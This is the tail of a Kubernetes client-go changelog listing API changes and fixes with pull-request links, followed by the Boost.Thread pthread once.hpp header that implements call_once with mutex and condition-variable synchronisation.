* [k8s.io/apimachinery] YAMLDecoder Read now tracks rest of buffer on `io.ErrShortBuffer`.
* [https://github.com/kubernetes/kubernetes/pull/58817](https://github.com/kubernetes/kubernetes/pull/58817)
* [k8s.io/apimachinery] Prompt required merge key in the error message while applying a strategic merge patch.
* [https://github.com/kubernetes/kubernetes/pull/57854](https://github.com/kubernetes/kubernetes/pull/57854)
# v6.0.0
**Breaking Changes:**
* If you upgrade your client-go libs and use the `AppsV1() or Apps()` interface, please note that the default garbage collection behavior is changed.
* [https://github.com/kubernetes/kubernetes/pull/55148](https://github.com/kubernetes/kubernetes/pull/55148)
* Swagger 1.2 retriever `DiscoveryClient.SwaggerSchema` was removed from the discovery client
* [https://github.com/kubernetes/kubernetes/pull/53441](https://github.com/kubernetes/kubernetes/pull/53441)
* Informers got a NewFilteredSharedInformerFactory to e.g. filter by namespace
* [https://github.com/kubernetes/kubernetes/pull/54660](https://github.com/kubernetes/kubernetes/pull/54660)
* [k8s.io/api] The dynamic admission webhook is split into two kinds, mutating and validating.
The kinds have changed completely and old code must be ported to `admissionregistration.k8s.io/v1beta1` -
`MutatingWebhookConfiguration` and `ValidatingWebhookConfiguration`
* [https://github.com/kubernetes/kubernetes/pull/55282](https://github.com/kubernetes/kubernetes/pull/55282)
* [k8s.io/api] Renamed `core/v1.ScaleIOVolumeSource` to `ScaleIOPersistentVolumeSource`
* [https://github.com/kubernetes/kubernetes/pull/54013](https://github.com/kubernetes/kubernetes/pull/54013)
* [k8s.io/api] Renamed `core/v1.RBDVolumeSource` to `RBDPersistentVolumeSource`
* [https://github.com/kubernetes/kubernetes/pull/54302](https://github.com/kubernetes/kubernetes/pull/54302)
* [k8s.io/api] Removed `core/v1.CreatedByAnnotation`
* [https://github.com/kubernetes/kubernetes/pull/54445](https://github.com/kubernetes/kubernetes/pull/54445)
* [k8s.io/api] Renamed `core/v1.StorageMediumHugepages` to `StorageMediumHugePages`
* [https://github.com/kubernetes/kubernetes/pull/54748](https://github.com/kubernetes/kubernetes/pull/54748)
* [k8s.io/api] `core/v1.Taint.TimeAdded` became a pointer
* [https://github.com/kubernetes/kubernetes/pull/43016](https://github.com/kubernetes/kubernetes/pull/43016)
* [k8s.io/api] `core/v1.DefaultHardPodAffinitySymmetricWeight` type changed from int to int32
* [https://github.com/kubernetes/kubernetes/pull/53850](https://github.com/kubernetes/kubernetes/pull/53850)
* [k8s.io/apimachinery] `ObjectCopier` interface was removed (requires switch to new generators with DeepCopy methods)
* [https://github.com/kubernetes/kubernetes/pull/53525](https://github.com/kubernetes/kubernetes/pull/53525)
**New Features:**
* Certificate manager was moved from kubelet to `k8s.io/client-go/util/certificates`
* [https://github.com/kubernetes/kubernetes/pull/49654](https://github.com/kubernetes/kubernetes/pull/49654)
* [k8s.io/api] Workloads api types are promoted to `apps/v1` version
* [https://github.com/kubernetes/kubernetes/pull/53679](https://github.com/kubernetes/kubernetes/pull/53679)
* [k8s.io/api] Added `storage.k8s.io/v1alpha1` API group
* [https://github.com/kubernetes/kubernetes/pull/54463](https://github.com/kubernetes/kubernetes/pull/54463)
* [k8s.io/api] Added support for conditions in StatefulSet status
* [https://github.com/kubernetes/kubernetes/pull/55268](https://github.com/kubernetes/kubernetes/pull/55268)
* [k8s.io/api] Added support for conditions in DaemonSet status
* [https://github.com/kubernetes/kubernetes/pull/55272](https://github.com/kubernetes/kubernetes/pull/55272)
* [k8s.io/apimachinery] Added polymorphic scale client in `k8s.io/client-go/scale`, which supports scaling of resources in arbitrary API groups
* [https://github.com/kubernetes/kubernetes/pull/53743](https://github.com/kubernetes/kubernetes/pull/53743)
* [k8s.io/apimachinery] `meta.MetadataAccessor` got API chunking support
* [https://github.com/kubernetes/kubernetes/pull/53768](https://github.com/kubernetes/kubernetes/pull/53768)
* [k8s.io/apimachinery] `unstructured.Unstructured` got getters and setters
* [https://github.com/kubernetes/kubernetes/pull/51940](https://github.com/kubernetes/kubernetes/pull/51940)
**Bug fixes and Improvements:**
* The body in glog output is not truncated with log level 10
* [https://github.com/kubernetes/kubernetes/pull/54801](https://github.com/kubernetes/kubernetes/pull/54801)
* [k8s.io/api] Unset `creationTimestamp` field is output as null if encoded from an unstructured object
* [https://github.com/kubernetes/kubernetes/pull/53464](https://github.com/kubernetes/kubernetes/pull/53464)
* [k8s.io/apimachinery] Redirect behavior is restored for proxy subresources
* [https://github.com/kubernetes/kubernetes/pull/52933](https://github.com/kubernetes/kubernetes/pull/52933)
* [k8s.io/apimachinery] Random string generation functions are optimized
* [https://github.com/kubernetes/kubernetes/pull/53720](https://github.com/kubernetes/kubernetes/pull/53720)
# v5.0.1
Bug fix: picked up a security fix [kubernetes/kubernetes#53443](https://github.com/kubernetes/kubernetes/pull/53443) for `PodSecurityPolicy`.
# v5.0.0
**New features:**
* Added paging support
* [https://github.com/kubernetes/kubernetes/pull/51876](https://github.com/kubernetes/kubernetes/pull/51876)
* Added support for client-side spam filtering of events
* [https://github.com/kubernetes/kubernetes/pull/47367](https://github.com/kubernetes/kubernetes/pull/47367)
* Added support for http etag and caching
* [https://github.com/kubernetes/kubernetes/pull/50404](https://github.com/kubernetes/kubernetes/pull/50404)
* Added priority queue support to informer cache
* [https://github.com/kubernetes/kubernetes/pull/49752](https://github.com/kubernetes/kubernetes/pull/49752)
* Added openstack auth provider
* [https://github.com/kubernetes/kubernetes/pull/39587](https://github.com/kubernetes/kubernetes/pull/39587)
* Added metrics for checking reflector health
* [https://github.com/kubernetes/kubernetes/pull/48224](https://github.com/kubernetes/kubernetes/pull/48224)
* Client-go now includes the leaderelection package
* [https://github.com/kubernetes/kubernetes/pull/39173](https://github.com/kubernetes/kubernetes/pull/39173)
**API changes:**
* Promoted Autoscaling v2alpha1 to v2beta1
* [https://github.com/kubernetes/kubernetes/pull/50708](https://github.com/kubernetes/kubernetes/pull/50708)
* Promoted CronJobs to batch/v1beta1
* [https://github.com/kubernetes/kubernetes/pull/41901](https://github.com/kubernetes/kubernetes/pull/41901)
* Promoted rbac.authorization.k8s.io/v1beta1 to rbac.authorization.k8s.io/v1
* [https://github.com/kubernetes/kubernetes/pull/49642](https://github.com/kubernetes/kubernetes/pull/49642)
* Added a new API version apps/v1beta2
* [https://github.com/kubernetes/kubernetes/pull/48746](https://github.com/kubernetes/kubernetes/pull/48746)
* Added a new API version scheduling/v1alpha1
* [https://github.com/kubernetes/kubernetes/pull/48377](https://github.com/kubernetes/kubernetes/pull/48377)
**Breaking changes:**
* Moved pkg/api and pkg/apis to [k8s.io/api](https://github.com/kubernetes/api). Other kubernetes repositories also import types from there, so they are composable with client-go.
* Removed helper functions in pkg/api and pkg/apis. They are planned to be exported in other repos. The issue is tracked [here](https://github.com/kubernetes/kubernetes/issues/48209#issuecomment-314537745). During the transition, you'll have to copy the helper functions to your projects.
* The discovery client now fetches the protobuf encoded OpenAPI schema and returns `openapi_v2.Document`
* [https://github.com/kubernetes/kubernetes/pull/46803](https://github.com/kubernetes/kubernetes/pull/46803)
* Enforced explicit references to API group client interfaces in clientsets to avoid ambiguity.
* [https://github.com/kubernetes/kubernetes/pull/49370](https://github.com/kubernetes/kubernetes/pull/49370)
* The generic RESTClient type (`k8s.io/client-go/rest`) no longer exposes `LabelSelectorParam` or `FieldSelectorParam` methods - use `VersionedParams` with `metav1.ListOptions` instead. The `UintParam` method has been removed. The `timeout` parameter will no longer cause an error when using `Param()`.
* [https://github.com/kubernetes/kubernetes/pull/48991](https://github.com/kubernetes/kubernetes/pull/48991)
# v4.0.0
No significant changes since v4.0.0-beta.0.
# v4.0.0-beta.0
**New features:**
* Added OpenAPISchema support in the discovery client
* [https://github.com/kubernetes/kubernetes/pull/44531](https://github.com/kubernetes/kubernetes/pull/44531)
* Added mutation cache filter: MutationCache is able to take the result of update operations and stores them in an LRU that can be used to provide a more current view of a requested object.
* [https://github.com/kubernetes/kubernetes/pull/45838](https://github.com/kubernetes/kubernetes/pull/45838/commits/f88c7725b4f9446c652d160bdcfab7c6201bddea)
* Moved the remotecommand package (used by `kubectl exec/attach`) to client-go
* [https://github.com/kubernetes/kubernetes/pull/41331](https://github.com/kubernetes/kubernetes/pull/41331)
* Added support for following redirects to the SpdyRoundTripper
* [https://github.com/kubernetes/kubernetes/pull/44451](https://github.com/kubernetes/kubernetes/pull/44451)
* Added Azure Active Directory plugin
* [https://github.com/kubernetes/kubernetes/pull/43987](https://github.com/kubernetes/kubernetes/pull/43987)
**Usability improvements:**
* Added several new examples and reorganized client-go/examples
* [Related PRs](https://github.com/kubernetes/kubernetes/commits/release-1.7/staging/src/k8s.io/client-go/examples)
**API changes:**
* Added networking.k8s.io/v1 API
* [https://github.com/kubernetes/kubernetes/pull/39164](https://github.com/kubernetes/kubernetes/pull/39164)
* ControllerRevision type added for StatefulSet and DaemonSet history.
* [https://github.com/kubernetes/kubernetes/pull/45867](https://github.com/kubernetes/kubernetes/pull/45867)
* Added support for initializers
* [https://github.com/kubernetes/kubernetes/pull/38058](https://github.com/kubernetes/kubernetes/pull/38058)
* Added admissionregistration.k8s.io/v1alpha1 API
* [https://github.com/kubernetes/kubernetes/pull/46294](https://github.com/kubernetes/kubernetes/pull/46294)
**Breaking changes:**
* Moved client-go/util/clock to apimachinery/pkg/util/clock
* [https://github.com/kubernetes/kubernetes/pull/45933](https://github.com/kubernetes/kubernetes/pull/45933/commits/8013212db54e95050c622675c6706cce5de42b45)
* Some [API helpers](https://github.com/kubernetes/client-go/blob/release-3.0/pkg/api/helpers.go) were removed.
* Dynamic client takes GetOptions as an input parameter
* [https://github.com/kubernetes/kubernetes/pull/47251](https://github.com/kubernetes/kubernetes/pull/47251)
**Bug fixes:**
* PortForwarder: don't log an error if net.Listen fails. [https://github.com/kubernetes/kubernetes/pull/44636](https://github.com/kubernetes/kubernetes/pull/44636)
* oidc auth plugin not to override the Auth header if it's already exits. [https://github.com/kubernetes/kubernetes/pull/45529](https://github.com/kubernetes/kubernetes/pull/45529)
* The --namespace flag is now honored for in-cluster clients that have an empty configuration. [https://github.com/kubernetes/kubernetes/pull/46299](https://github.com/kubernetes/kubernetes/pull/46299)
* GCP auth plugin no longer overwrites existing Authorization headers. [https://github.com/kubernetes/kubernetes/pull/45575](https://github.com/kubernetes/kubernetes/pull/45575)
# v3.0.0
Bug fixes:
* Use OS-specific libs when computing client User-Agent in kubectl, etc. (https://github.com/kubernetes/kubernetes/pull/44423)
* kubectl commands run inside a pod using a kubeconfig file now use the namespace specified in the kubeconfig file, instead of using the pod namespace. If no kubeconfig file is used, or the kubeconfig does not specify a namespace, the pod namespace is still used as a fallback. (https://github.com/kubernetes/kubernetes/pull/44570)
* Restored the ability of kubectl running inside a pod to consume resource files specifying a different namespace than the one the pod is running in. (https://github.com/kubernetes/kubernetes/pull/44862)
# v3.0.0-beta.0
* Added dependency on k8s.io/apimachinery. The impacts include changing import path of API objects like `ListOptions` from `k8s.io/client-go/pkg/api/v1` to `k8s.io/apimachinery/pkg/apis/meta/v1`.
* Added generated listers (listers/) and informers (informers/)
* Kubernetes API changes:
* Added client support for:
* authentication/v1
* authorization/v1
* autoscaling/v2alpha1
* rbac/v1beta1
* settings/v1alpha1
* storage/v1
* Changed client support for:
* certificates from v1alpha1 to v1beta1
* policy from v1alpha1 to v1beta1
* Deleted client support for:
* extensions/v1beta1#Job
* CHANGED: pass typed options to dynamic client (https://github.com/kubernetes/kubernetes/pull/41887)
# v2.0.0
* Included bug fixes in k8s.io/kuberentes release-1.5 branch, up to commit
bde8578d9675129b7a2aa08f1b825ec6cc0f3420
# v2.0.0-alpha.1
* Removed top-level version folder (e.g., 1.4 and 1.5), switching to maintaining separate versions
in separate branches.
* Clientset supported multiple versions per API group
* Added ThirdPartyResources example
* Kubernetes API changes
* Apps API group graduated to v1beta1
* Policy API group graduated to v1beta1
* Added support for batch/v2alpha1/cronjob
* Renamed PetSet to StatefulSet
# v1.5.0
* Included the auth plugin (https://github.com/kubernetes/kubernetes/pull/33334)
* Added timeout field to RESTClient config (https://github.com/kubernetes/kubernetes/pull/33958)
| {
"pile_set_name": "Github"
} |
#ifndef BOOST_THREAD_PTHREAD_ONCE_HPP
#define BOOST_THREAD_PTHREAD_ONCE_HPP
// once.hpp
//
// (C) Copyright 2007-8 Anthony Williams
// (C) Copyright 2011-2012 Vicente J. Botet Escriba
//
// Distributed under the Boost Software License, Version 1.0. (See
// accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#include <boost/thread/detail/config.hpp>
#include <boost/thread/detail/move.hpp>
#include <boost/thread/detail/invoke.hpp>
#include <boost/thread/pthread/pthread_mutex_scoped_lock.hpp>
#include <boost/thread/detail/delete.hpp>
#include <boost/core/no_exceptions_support.hpp>
#include <boost/bind.hpp>
#include <boost/assert.hpp>
#include <boost/config/abi_prefix.hpp>
#include <boost/cstdint.hpp>
#include <pthread.h>
#include <csignal>
namespace boost
{
struct once_flag;
#define BOOST_ONCE_INITIAL_FLAG_VALUE 0
namespace thread_detail
{
typedef boost::uint32_t uintmax_atomic_t;
#define BOOST_THREAD_DETAIL_UINTMAX_ATOMIC_C2(value) value##u
#define BOOST_THREAD_DETAIL_UINTMAX_ATOMIC_MAX_C BOOST_THREAD_DETAIL_UINTMAX_ATOMIC_C2(~0)
}
#ifdef BOOST_THREAD_PROVIDES_ONCE_CXX11
#if !defined(BOOST_NO_CXX11_VARIADIC_TEMPLATES) && !defined(BOOST_NO_CXX11_RVALUE_REFERENCES)
template<typename Function, class ...ArgTypes>
inline void call_once(once_flag& flag, BOOST_THREAD_RV_REF(Function) f, BOOST_THREAD_RV_REF(ArgTypes)... args);
#else
template<typename Function>
inline void call_once(once_flag& flag, Function f);
template<typename Function, typename T1>
inline void call_once(once_flag& flag, Function f, T1 p1);
template<typename Function, typename T1, typename T2>
inline void call_once(once_flag& flag, Function f, T1 p1, T2 p2);
template<typename Function, typename T1, typename T2, typename T3>
inline void call_once(once_flag& flag, Function f, T1 p1, T2 p2, T3 p3);
#endif
struct once_flag
{
BOOST_THREAD_NO_COPYABLE(once_flag)
BOOST_CONSTEXPR once_flag() BOOST_NOEXCEPT
: epoch(BOOST_ONCE_INITIAL_FLAG_VALUE)
{}
private:
volatile thread_detail::uintmax_atomic_t epoch;
#if !defined(BOOST_NO_CXX11_VARIADIC_TEMPLATES) && !defined(BOOST_NO_CXX11_RVALUE_REFERENCES)
template<typename Function, class ...ArgTypes>
friend void call_once(once_flag& flag, BOOST_THREAD_RV_REF(Function) f, BOOST_THREAD_RV_REF(ArgTypes)... args);
#else
template<typename Function>
friend void call_once(once_flag& flag, Function f);
template<typename Function, typename T1>
friend void call_once(once_flag& flag, Function f, T1 p1);
template<typename Function, typename T1, typename T2>
friend void call_once(once_flag& flag, Function f, T1 p1, T2 p2);
template<typename Function, typename T1, typename T2, typename T3>
friend void call_once(once_flag& flag, Function f, T1 p1, T2 p2, T3 p3);
#endif
};
#define BOOST_ONCE_INIT once_flag()
#else // BOOST_THREAD_PROVIDES_ONCE_CXX11
struct once_flag
{
volatile thread_detail::uintmax_atomic_t epoch;
};
#define BOOST_ONCE_INIT {BOOST_ONCE_INITIAL_FLAG_VALUE}
#endif // BOOST_THREAD_PROVIDES_ONCE_CXX11
#if defined BOOST_THREAD_PROVIDES_INVOKE
#define BOOST_THREAD_INVOKE_RET_VOID detail::invoke
#define BOOST_THREAD_INVOKE_RET_VOID_CALL
#elif defined BOOST_THREAD_PROVIDES_INVOKE_RET
#define BOOST_THREAD_INVOKE_RET_VOID detail::invoke<void>
#define BOOST_THREAD_INVOKE_RET_VOID_CALL
#else
#define BOOST_THREAD_INVOKE_RET_VOID boost::bind
#define BOOST_THREAD_INVOKE_RET_VOID_CALL ()
#endif
namespace thread_detail
{
BOOST_THREAD_DECL uintmax_atomic_t& get_once_per_thread_epoch();
BOOST_THREAD_DECL extern uintmax_atomic_t once_global_epoch;
BOOST_THREAD_DECL extern pthread_mutex_t once_epoch_mutex;
BOOST_THREAD_DECL extern pthread_cond_t once_epoch_cv;
}
// Based on Mike Burrows fast_pthread_once algorithm as described in
// http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2007/n2444.html
#if !defined(BOOST_NO_CXX11_VARIADIC_TEMPLATES) && !defined(BOOST_NO_CXX11_RVALUE_REFERENCES)
template<typename Function, class ...ArgTypes>
inline void call_once(once_flag& flag, BOOST_THREAD_RV_REF(Function) f, BOOST_THREAD_RV_REF(ArgTypes)... args)
{
static thread_detail::uintmax_atomic_t const uninitialized_flag=BOOST_ONCE_INITIAL_FLAG_VALUE;
static thread_detail::uintmax_atomic_t const being_initialized=uninitialized_flag+1;
thread_detail::uintmax_atomic_t const epoch=flag.epoch;
thread_detail::uintmax_atomic_t& this_thread_epoch=thread_detail::get_once_per_thread_epoch();
if(epoch<this_thread_epoch)
{
pthread::pthread_mutex_scoped_lock lk(&thread_detail::once_epoch_mutex);
while(flag.epoch<=being_initialized)
{
if(flag.epoch==uninitialized_flag)
{
flag.epoch=being_initialized;
BOOST_TRY
{
pthread::pthread_mutex_scoped_unlock relocker(&thread_detail::once_epoch_mutex);
BOOST_THREAD_INVOKE_RET_VOID(
thread_detail::decay_copy(boost::forward<Function>(f)),
thread_detail::decay_copy(boost::forward<ArgTypes>(args))...
) BOOST_THREAD_INVOKE_RET_VOID_CALL;
}
BOOST_CATCH (...)
{
flag.epoch=uninitialized_flag;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
BOOST_RETHROW
}
BOOST_CATCH_END
flag.epoch=--thread_detail::once_global_epoch;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
}
else
{
while(flag.epoch==being_initialized)
{
BOOST_VERIFY(!pthread_cond_wait(&thread_detail::once_epoch_cv,&thread_detail::once_epoch_mutex));
}
}
}
this_thread_epoch=thread_detail::once_global_epoch;
}
}
#else
template<typename Function>
inline void call_once(once_flag& flag, Function f)
{
static thread_detail::uintmax_atomic_t const uninitialized_flag=BOOST_ONCE_INITIAL_FLAG_VALUE;
static thread_detail::uintmax_atomic_t const being_initialized=uninitialized_flag+1;
thread_detail::uintmax_atomic_t const epoch=flag.epoch;
thread_detail::uintmax_atomic_t& this_thread_epoch=thread_detail::get_once_per_thread_epoch();
if(epoch<this_thread_epoch)
{
pthread::pthread_mutex_scoped_lock lk(&thread_detail::once_epoch_mutex);
while(flag.epoch<=being_initialized)
{
if(flag.epoch==uninitialized_flag)
{
flag.epoch=being_initialized;
BOOST_TRY
{
pthread::pthread_mutex_scoped_unlock relocker(&thread_detail::once_epoch_mutex);
f();
}
BOOST_CATCH (...)
{
flag.epoch=uninitialized_flag;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
BOOST_RETHROW
}
BOOST_CATCH_END
flag.epoch=--thread_detail::once_global_epoch;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
}
else
{
while(flag.epoch==being_initialized)
{
BOOST_VERIFY(!pthread_cond_wait(&thread_detail::once_epoch_cv,&thread_detail::once_epoch_mutex));
}
}
}
this_thread_epoch=thread_detail::once_global_epoch;
}
}
template<typename Function, typename T1>
inline void call_once(once_flag& flag, Function f, T1 p1)
{
static thread_detail::uintmax_atomic_t const uninitialized_flag=BOOST_ONCE_INITIAL_FLAG_VALUE;
static thread_detail::uintmax_atomic_t const being_initialized=uninitialized_flag+1;
thread_detail::uintmax_atomic_t const epoch=flag.epoch;
thread_detail::uintmax_atomic_t& this_thread_epoch=thread_detail::get_once_per_thread_epoch();
if(epoch<this_thread_epoch)
{
pthread::pthread_mutex_scoped_lock lk(&thread_detail::once_epoch_mutex);
while(flag.epoch<=being_initialized)
{
if(flag.epoch==uninitialized_flag)
{
flag.epoch=being_initialized;
BOOST_TRY
{
pthread::pthread_mutex_scoped_unlock relocker(&thread_detail::once_epoch_mutex);
BOOST_THREAD_INVOKE_RET_VOID(f,p1) BOOST_THREAD_INVOKE_RET_VOID_CALL;
}
BOOST_CATCH (...)
{
flag.epoch=uninitialized_flag;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
BOOST_RETHROW
}
BOOST_CATCH_END
flag.epoch=--thread_detail::once_global_epoch;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
}
else
{
while(flag.epoch==being_initialized)
{
BOOST_VERIFY(!pthread_cond_wait(&thread_detail::once_epoch_cv,&thread_detail::once_epoch_mutex));
}
}
}
this_thread_epoch=thread_detail::once_global_epoch;
}
}
template<typename Function, typename T1, typename T2>
inline void call_once(once_flag& flag, Function f, T1 p1, T2 p2)
{
static thread_detail::uintmax_atomic_t const uninitialized_flag=BOOST_ONCE_INITIAL_FLAG_VALUE;
static thread_detail::uintmax_atomic_t const being_initialized=uninitialized_flag+1;
thread_detail::uintmax_atomic_t const epoch=flag.epoch;
thread_detail::uintmax_atomic_t& this_thread_epoch=thread_detail::get_once_per_thread_epoch();
if(epoch<this_thread_epoch)
{
pthread::pthread_mutex_scoped_lock lk(&thread_detail::once_epoch_mutex);
while(flag.epoch<=being_initialized)
{
if(flag.epoch==uninitialized_flag)
{
flag.epoch=being_initialized;
BOOST_TRY
{
pthread::pthread_mutex_scoped_unlock relocker(&thread_detail::once_epoch_mutex);
BOOST_THREAD_INVOKE_RET_VOID(f,p1, p2) BOOST_THREAD_INVOKE_RET_VOID_CALL;
}
BOOST_CATCH (...)
{
flag.epoch=uninitialized_flag;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
BOOST_RETHROW
}
BOOST_CATCH_END
flag.epoch=--thread_detail::once_global_epoch;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
}
else
{
while(flag.epoch==being_initialized)
{
BOOST_VERIFY(!pthread_cond_wait(&thread_detail::once_epoch_cv,&thread_detail::once_epoch_mutex));
}
}
}
this_thread_epoch=thread_detail::once_global_epoch;
}
}
template<typename Function, typename T1, typename T2, typename T3>
inline void call_once(once_flag& flag, Function f, T1 p1, T2 p2, T3 p3)
{
static thread_detail::uintmax_atomic_t const uninitialized_flag=BOOST_ONCE_INITIAL_FLAG_VALUE;
static thread_detail::uintmax_atomic_t const being_initialized=uninitialized_flag+1;
thread_detail::uintmax_atomic_t const epoch=flag.epoch;
thread_detail::uintmax_atomic_t& this_thread_epoch=thread_detail::get_once_per_thread_epoch();
if(epoch<this_thread_epoch)
{
pthread::pthread_mutex_scoped_lock lk(&thread_detail::once_epoch_mutex);
while(flag.epoch<=being_initialized)
{
if(flag.epoch==uninitialized_flag)
{
flag.epoch=being_initialized;
BOOST_TRY
{
pthread::pthread_mutex_scoped_unlock relocker(&thread_detail::once_epoch_mutex);
BOOST_THREAD_INVOKE_RET_VOID(f,p1, p2, p3) BOOST_THREAD_INVOKE_RET_VOID_CALL;
}
BOOST_CATCH (...)
{
flag.epoch=uninitialized_flag;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
BOOST_RETHROW
}
BOOST_CATCH_END
flag.epoch=--thread_detail::once_global_epoch;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
}
else
{
while(flag.epoch==being_initialized)
{
BOOST_VERIFY(!pthread_cond_wait(&thread_detail::once_epoch_cv,&thread_detail::once_epoch_mutex));
}
}
}
this_thread_epoch=thread_detail::once_global_epoch;
}
}
template<typename Function>
inline void call_once(once_flag& flag, BOOST_THREAD_RV_REF(Function) f)
{
static thread_detail::uintmax_atomic_t const uninitialized_flag=BOOST_ONCE_INITIAL_FLAG_VALUE;
static thread_detail::uintmax_atomic_t const being_initialized=uninitialized_flag+1;
thread_detail::uintmax_atomic_t const epoch=flag.epoch;
thread_detail::uintmax_atomic_t& this_thread_epoch=thread_detail::get_once_per_thread_epoch();
if(epoch<this_thread_epoch)
{
pthread::pthread_mutex_scoped_lock lk(&thread_detail::once_epoch_mutex);
while(flag.epoch<=being_initialized)
{
if(flag.epoch==uninitialized_flag)
{
flag.epoch=being_initialized;
BOOST_TRY
{
pthread::pthread_mutex_scoped_unlock relocker(&thread_detail::once_epoch_mutex);
f();
}
BOOST_CATCH (...)
{
flag.epoch=uninitialized_flag;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
BOOST_RETHROW
}
BOOST_CATCH_END
flag.epoch=--thread_detail::once_global_epoch;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
}
else
{
while(flag.epoch==being_initialized)
{
BOOST_VERIFY(!pthread_cond_wait(&thread_detail::once_epoch_cv,&thread_detail::once_epoch_mutex));
}
}
}
this_thread_epoch=thread_detail::once_global_epoch;
}
}
template<typename Function, typename T1>
inline void call_once(once_flag& flag, BOOST_THREAD_RV_REF(Function) f, BOOST_THREAD_RV_REF(T1) p1)
{
static thread_detail::uintmax_atomic_t const uninitialized_flag=BOOST_ONCE_INITIAL_FLAG_VALUE;
static thread_detail::uintmax_atomic_t const being_initialized=uninitialized_flag+1;
thread_detail::uintmax_atomic_t const epoch=flag.epoch;
thread_detail::uintmax_atomic_t& this_thread_epoch=thread_detail::get_once_per_thread_epoch();
if(epoch<this_thread_epoch)
{
pthread::pthread_mutex_scoped_lock lk(&thread_detail::once_epoch_mutex);
while(flag.epoch<=being_initialized)
{
if(flag.epoch==uninitialized_flag)
{
flag.epoch=being_initialized;
BOOST_TRY
{
pthread::pthread_mutex_scoped_unlock relocker(&thread_detail::once_epoch_mutex);
BOOST_THREAD_INVOKE_RET_VOID(
thread_detail::decay_copy(boost::forward<Function>(f)),
thread_detail::decay_copy(boost::forward<T1>(p1))
) BOOST_THREAD_INVOKE_RET_VOID_CALL;
}
BOOST_CATCH (...)
{
flag.epoch=uninitialized_flag;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
BOOST_RETHROW
}
BOOST_CATCH_END
flag.epoch=--thread_detail::once_global_epoch;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
}
else
{
while(flag.epoch==being_initialized)
{
BOOST_VERIFY(!pthread_cond_wait(&thread_detail::once_epoch_cv,&thread_detail::once_epoch_mutex));
}
}
}
this_thread_epoch=thread_detail::once_global_epoch;
}
}
template<typename Function, typename T1, typename T2>
inline void call_once(once_flag& flag, BOOST_THREAD_RV_REF(Function) f, BOOST_THREAD_RV_REF(T1) p1, BOOST_THREAD_RV_REF(T2) p2)
{
static thread_detail::uintmax_atomic_t const uninitialized_flag=BOOST_ONCE_INITIAL_FLAG_VALUE;
static thread_detail::uintmax_atomic_t const being_initialized=uninitialized_flag+1;
thread_detail::uintmax_atomic_t const epoch=flag.epoch;
thread_detail::uintmax_atomic_t& this_thread_epoch=thread_detail::get_once_per_thread_epoch();
if(epoch<this_thread_epoch)
{
pthread::pthread_mutex_scoped_lock lk(&thread_detail::once_epoch_mutex);
while(flag.epoch<=being_initialized)
{
if(flag.epoch==uninitialized_flag)
{
flag.epoch=being_initialized;
BOOST_TRY
{
pthread::pthread_mutex_scoped_unlock relocker(&thread_detail::once_epoch_mutex);
BOOST_THREAD_INVOKE_RET_VOID(
thread_detail::decay_copy(boost::forward<Function>(f)),
thread_detail::decay_copy(boost::forward<T1>(p1)),
thread_detail::decay_copy(boost::forward<T1>(p2))
) BOOST_THREAD_INVOKE_RET_VOID_CALL;
}
BOOST_CATCH (...)
{
flag.epoch=uninitialized_flag;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
BOOST_RETHROW
}
BOOST_CATCH_END
flag.epoch=--thread_detail::once_global_epoch;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
}
else
{
while(flag.epoch==being_initialized)
{
BOOST_VERIFY(!pthread_cond_wait(&thread_detail::once_epoch_cv,&thread_detail::once_epoch_mutex));
}
}
}
this_thread_epoch=thread_detail::once_global_epoch;
}
}
template<typename Function, typename T1, typename T2, typename T3>
inline void call_once(once_flag& flag, BOOST_THREAD_RV_REF(Function) f, BOOST_THREAD_RV_REF(T1) p1, BOOST_THREAD_RV_REF(T2) p2, BOOST_THREAD_RV_REF(T3) p3)
{
static thread_detail::uintmax_atomic_t const uninitialized_flag=BOOST_ONCE_INITIAL_FLAG_VALUE;
static thread_detail::uintmax_atomic_t const being_initialized=uninitialized_flag+1;
thread_detail::uintmax_atomic_t const epoch=flag.epoch;
thread_detail::uintmax_atomic_t& this_thread_epoch=thread_detail::get_once_per_thread_epoch();
if(epoch<this_thread_epoch)
{
pthread::pthread_mutex_scoped_lock lk(&thread_detail::once_epoch_mutex);
while(flag.epoch<=being_initialized)
{
if(flag.epoch==uninitialized_flag)
{
flag.epoch=being_initialized;
BOOST_TRY
{
pthread::pthread_mutex_scoped_unlock relocker(&thread_detail::once_epoch_mutex);
BOOST_THREAD_INVOKE_RET_VOID(
thread_detail::decay_copy(boost::forward<Function>(f)),
thread_detail::decay_copy(boost::forward<T1>(p1)),
thread_detail::decay_copy(boost::forward<T1>(p2)),
thread_detail::decay_copy(boost::forward<T1>(p3))
) BOOST_THREAD_INVOKE_RET_VOID_CALL;
}
BOOST_CATCH (...)
{
flag.epoch=uninitialized_flag;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
BOOST_RETHROW
}
BOOST_CATCH_END
flag.epoch=--thread_detail::once_global_epoch;
BOOST_VERIFY(!pthread_cond_broadcast(&thread_detail::once_epoch_cv));
}
else
{
while(flag.epoch==being_initialized)
{
BOOST_VERIFY(!pthread_cond_wait(&thread_detail::once_epoch_cv,&thread_detail::once_epoch_mutex));
}
}
}
this_thread_epoch=thread_detail::once_global_epoch;
}
}
#endif
}
